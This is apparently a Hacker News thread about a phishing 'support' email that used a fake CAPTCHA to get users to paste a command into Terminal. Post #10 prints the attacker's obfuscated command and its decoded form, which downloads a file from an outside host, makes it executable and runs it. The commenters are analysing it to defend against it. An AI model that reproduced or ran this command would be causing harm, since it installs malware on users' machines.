Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The scariest "user support" email I've received

devas.life

Post reply on HN
Print view View original

1–10 of 267 posts

Re: The scariest "user support" email I've received

#3

Post by post_break »

johnea wrote: post #2

[flagged]

He asked ChatGPT to run the command in a sterile environment. He knew it was a bad idea to start with. It's a quick and dirty method in case you don't have a virgin VM lying around to try random scripts on to see what they do.

I'd say something edgy about paying attention but that wouldn't be nice.

Re: The scariest "user support" email I've received

#5

Post by netsharc »

Geez, I skimmed the image with the "steps" and the devtools next to it and assumed it was steps to get the user to open the DevTools, but later when he said it would download a file I thought "You can tell the DevTools to download a file and execute it as a shell script?!".

Then I read the steps again, step 2 is "Type in 'Terminal'"... oh come on, will many people fall for that?

Re: The scariest "user support" email I've received

#6

Post by markrages »

post_break wrote: post #3
johnea wrote: post #2

[flagged]

He asked ChatGPT to run the command in a sterile environment. He knew it was a bad idea to start with. It's a quick and dirty method in case you don't have a virgin VM lying around to try random scripts on to see what they do. I'd say something edgy about paying attention but that wouldn't be nice.

ChatGPT doesn't run commands, does it?

Re: The scariest "user support" email I've received

#7

Post by netsharc »

post_break wrote: post #3
johnea wrote: post #2

[flagged]

He asked ChatGPT to run the command in a sterile environment. He knew it was a bad idea to start with. It's a quick and dirty method in case you don't have a virgin VM lying around to try random scripts on to see what they do. I'd say something edgy about paying attention but that wouldn't be nice.

Geez... echo [some garble] | base64 | bash , and you'd spin up a VM to diagnose it?

I'd google a base64 decoder and paste the "[some garble]" in...

Re: The scariest "user support" email I've received

#8

Post by lvzw »

> Phishing emails disguised as support inquiries are getting more sophisticated, too. They read naturally, but something always feels just a little off — the logic doesn’t quite line up, or the tone feels odd.

The phrase "To better prove you are not a robot" used in this attack is a great example. Easy to glance over if you're reading quickly, but a clear red flag.

Re: The scariest "user support" email I've received

#9

Post by lawlessone »

johnea wrote: post #2

[flagged]

Was this a mistake too?

>The command they had copied to my clipboard was this

but couldn't someone attack here? you think you're selecting a small bit of text but actually copying something much larger into the clipboard that "overflows" into memory? (sorry not my area so i don't know if this is feasible)

Re: The scariest "user support" email I've received

#10

Post by jmholla »

My standard procedure for copying and pasting commands from a website, is to first run it through `hd` to make sure there's no fuckery with Unicode or escape sequences:

    xclip -selection -clipboard -o | hd
From the developer's post, I copied and pasted up to the execution and it was very obvious what the fuckery was as the author found out (xpaste is my paste to stdout alias):

    > xpaste | hd
    00000000  65 63 68 6f 20 2d 6e 20  59 33 56 79 62 43 41 74  |echo -n Y3VybCAt|
    00000010  63 30 77 67 4c 57 38 67  4c 33 52 74 63 43 39 77  |c0wgLW8gL3RtcC9w|
    00000020  61 6b 74 74 54 56 56 47  52 56 6c 32 4f 45 46 73  |akttTVVGRVl2OEFs|
    00000030  5a 6b 74 53 49 47 68 30  64 48 42 7a 4f 69 38 76  |ZktSIGh0dHBzOi8v|
    00000040  64 33 64 33 4c 6d 46 74  59 57 35 68 5a 32 56 75  |d3d3LmFtYW5hZ2Vu|
    00000050  59 32 6c 6c 63 79 35 6a  62 32 30 76 59 58 4e 7a  |Y2llcy5jb20vYXNz|
    00000060  5a 58 52 7a 4c 32 70 7a  4c 32 64 79 5a 57 4e 68  |ZXRzL2pzL2dyZWNh|
    00000070  63 48 52 6a 61 47 45 37  49 47 4e 6f 62 57 39 6b  |cHRjaGE7IGNobW9k|
    00000080  49 43 74 34 49 43 39 30  62 58 41 76 63 47 70 4c  |ICt4IC90bXAvcGpL|
    00000090  62 55 31 56 52 6b 56 5a  64 6a 68 42 62 47 5a 4c  |bU1VRkVZdjhBbGZL|
    000000a0  55 6a 73 67 4c 33 52 74  63 43 39 77 61 6b 74 74  |UjsgL3RtcC9waktt|
    000000b0  54 56 56 47 52 56 6c 32  4f 45 46 73 5a 6b 74 53  |TVVGRVl2OEFsZktS|
    000000c0  20 7c 20 62 61 73 65 36  34 20 2d 64              | | base64 -d|
    000000cc
    > echo -n Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHBzOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRjaGE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakttTVVGRVl2OEFsZktS | base64 -d
    curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR
Post reply on HN